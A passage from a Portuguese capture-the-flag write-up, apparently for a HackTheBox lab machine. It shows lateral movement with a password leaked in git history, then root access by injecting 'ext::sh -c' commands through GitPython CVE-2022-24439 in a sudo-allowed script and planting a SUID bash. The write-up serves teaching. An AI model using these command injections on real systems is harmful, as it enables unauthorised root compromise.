Após ganhar acesso inicial com a conta dev
, comecei a explorar o sistema para identificar possíveis caminhos de movimentação lateral. Primeiramente, observei os usuários configurados no sistema:
dev@editorial:~$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
prod:x:1000:1000:Alirio Acosta:/home/prod:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash
Além do usuário dev
, havia um outro usuário chamado prod
, que parecia ser uma conta relevante, provavelmente ligada ao ambiente de produção do sistema. O próximo passo foi inspecionar os diretórios dos usuários:
dev@editorial:~$ ls -la /home/
total 16
drwxr-xr-x 4 root root 4096 Jun 5 14:36 .
drwxr-xr-x 18 root root 4096 Jun 5 14:54 ..
drwxr-x--- 5 dev dev 4096 Oct 20 13:32 dev
drwxr-x--- 5 prod prod 4096 Jun 5 14:36 prod
Notei que o diretório do usuário prod
estava presente, mas eu não tinha permissão de acesso direto. No entanto, ao explorar o diretório do usuário dev
, encontrei uma pasta .git
, que indicava que um projeto estava sendo versionado com Git. Esta é uma pista importante, pois commits de código às vezes podem expor informações sensíveis.
dev@editorial:~$ ls -la apps/.git/
total 52
drwxr-xr-x 8 dev dev 4096 Oct 20 09:16 .
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 ..
drwxr-xr-x 2 dev dev 4096 Jun 5 14:36 branches
-rw-r--r-- 1 dev dev 253 Jun 4 11:30 COMMIT_EDITMSG
-rw-r--r-- 1 dev dev 177 Jun 4 11:30 config
-rw-r--r-- 1 dev dev 73 Jun 4 11:30 description
-rw-r--r-- 1 dev dev 23 Jun 4 11:30 HEAD
drwxr-xr-x 2 dev dev 4096 Jun 5 14:36 hooks
-rw-rw-r-- 1 dev dev 134 Oct 20 09:14 index
drwxr-xr-x 2 dev dev 4096 Jun 5 14:36 info
drwxr-xr-x 3 dev dev 4096 Jun 5 14:36 logs
drwxr-xr-x 70 dev dev 4096 Jun 5 14:36 objects
drwxr-xr-x 4 dev dev 4096 Jun 5 14:36 refs
A partir dessa informação, decidi investigar os commits realizados, na esperança de encontrar informações úteis para avançar. Exibi o histórico de commits com o comando git log
e percebi várias mudanças importantes no código relacionadas à API do sistema.
dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:04:21 2023 -0500
fix: bugfix in api port endpoint
commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:01:11 2023 -0500
change: remove debug and update api port
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable
faster access to information.
commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:48:43 2023 -0500
feat: create editorial app
* This contains the base of this project.
* Also we add a feature to enable to external authors send us their
books and validate a future post in our editorial.
Entre esses commits, o que mais chamou minha atenção foi o commit 1e84a036b2f33c59e2390730699a488c65643d28
, que mencionava a criação de uma API contendo informações internas sobre o editorial. Exibindo o conteúdo do commit com o comando git show
, eu encontrei algo extremamente valioso: credenciais de acesso para o usuário prod
!
dev@editorial:~/apps$ git show 1e84a036b2f33c59e2390730699a488c65643d28
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable
faster access to information.
diff --git a/app_api/app.py b/app_api/app.py
...<SNIP>...
+def api_mail_new_authors():
+ return jsonify({
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+ }) # TODO: replace dev credentials when checks pass
+
+# -------------------------------
+# Start program
+# -------------------------------
+if __name__ == '__main__':
+ app.run(host='127.0.0.1', port=5001, debug=True)
Aqui estavam as credenciais de acesso para o usuário prod
:
Username:
prod
Password:
080217_Producti0n_2023!@
Decidi testar essas credenciais para ver se poderia migrar para a conta prod
. Para minha satisfação, a senha funcionou, me permitindo realizar a movimentação lateral para a conta prod
usando o comando su
.
dev@editorial:~/apps$ su prod
Password:
prod@editorial:/home/dev/apps$ id
uid=1000(prod) gid=1000(prod) groups=1000(prod)
Com a conta prod
, agora eu tinha acesso a novos recursos e possivelmente mais privilégios no sistema.
Escalada de Privilégios via CVE-2022-24439
Após obtermos acesso ao usuário prod
, decidi verificar as permissões de sudo
que ele possuía. Ele pode rodar um script Python específico como root, o que poderia ser a chave para escalar privilégios. Executando o comando sudo -l
, vejo que prod
pode executar o script /opt/internal_apps/clone_changes/clone_prod_change.py
com qualquer argumento:
prod@editorial:/home/dev/apps$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
Fui analisar o conteúdo do script para entender melhor como ele funciona. O script em si é bastante simples, basicamente clona um repositório de uma URL especificada:
prod@editorial:/home/dev/apps$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
No entanto, com o uso do sudo
sendo restringido por variáveis como env_reset
e secure_path
, parecia difícil encontrar um ponto de hijacking no script. Contudo, notei que ele utilizava a biblioteca GitPython
.
Verifiquei os pacotes Python instalados no host e confirmei que a versão 3.1.29 da biblioteca GitPython estava instalada:
prod@editorial:/home/dev/apps$ pip list | grep -i git
gitdb 4.0.10
GitPython 3.1.29
Pesquisando sobre esta versão da biblioteca, descobri que ela era vulnerável a um problema grave de Remote Code Execution (RCE) devido à forma como ela tratava as URLs dos repositórios Git. Essa vulnerabilidade foi corrigida na versão 3.1.30, mas o host ainda estava rodando a versão anterior.

O CVE associado a esta falha era o CVE-2022-24439, que permitia injeção de comandos ao fornecer uma URL maliciosa para o comando clone
:
Temos a seguinte instrução:
How to fix?
Upgrade
GitPython
to version 3.1.30 or higher.Overview
GitPython is a python library used to interact with Git repositories
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to
git
without sufficient sanitization of input arguments. This is only relevant when enabling theext
transport protocol.PoC
from git import Repo r = Repo.init('', bare=True) r.clone_from('ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"])
Testei a PoC injetando o comando que cria um arquivo chamado "pwned" no diretório /tmp
:
prod@editorial:/tmp/...$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/.../pwned'
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c touch% /tmp/.../pwned new_changes
stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
'
O comando retornou um erro relacionado ao Git, mas é apenas um erro superficial. Verificando o diretório /tmp
vemos que o arquivo "pwned" foi criado com sucesso, e o dono era o root
:
prod@editorial:/tmp/...$ ls -la pwned
-rw-r--r-- 1 root root 0 Oct 20 16:20 pwned
Sabendo que era possível executar comandos como root, aproveitei para injetar um comando mais útil. Criei um script Bash que copiava o binário /bin/bash
para o diretório /tmp
com permissão SUID, garantindo que ele pudesse ser executado como root posteriormente:
prod@editorial:/tmp/...$ echo -e '#!/bin/bash\ncp /bin/bash /tmp/.../brunobash; chown root:root /tmp/.../brunobash; chmod 6777 /tmp/.../brunobash' | tee /tmp/.../bash.sh; chmod +x /tmp/.../bash.sh; echo; ls -la bash.sh
#!/bin/bash
cp /bin/bash /tmp/.../brunobash; chown root:root /tmp/.../brunobash; chmod 6777 /tmp/.../brunobash
-rwxrwxr-x 1 prod prod 111 Oct 20 16:23 bash.sh
O script foi salvo como bash.sh
, e com o mesmo processo de injeção, executei o script como root:
prod@editorial:/tmp/...$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c /tmp/.../bash.sh'
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c /tmp/.../bash.sh new_changes
stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
'
Mais uma vez, o comando retornou o mesmo erro de GitCommandError
, mas o script foi executado com sucesso. Verifiquei o diretório /tmp
e, como esperado, o binário brunobash
foi criado com as permissões corretas:
prod@editorial:/tmp/...$ ls -la brunobash
-rwsrwsrwx 1 root root 1396520 Oct 20 16:24 brunobash
Agora, ao executar esse binário com a permissão SUID, obtive uma shell como root:
prod@editorial:/tmp/...$ ./brunobash -p
brunobash-5.1# whoami
root
Com a shell de root, o próximo passo foi localizar e ler a flag root.txt
:
brunobash-5.1# cat /root/root.txt
ffe72a3ffd1ffaeb7826f2ac5fd41b63
Com a escalada de privilégios bem-sucedida e acesso root obtido, todas as flags foram coletadas e a máquina foi totalmente comprometida.

Atualizado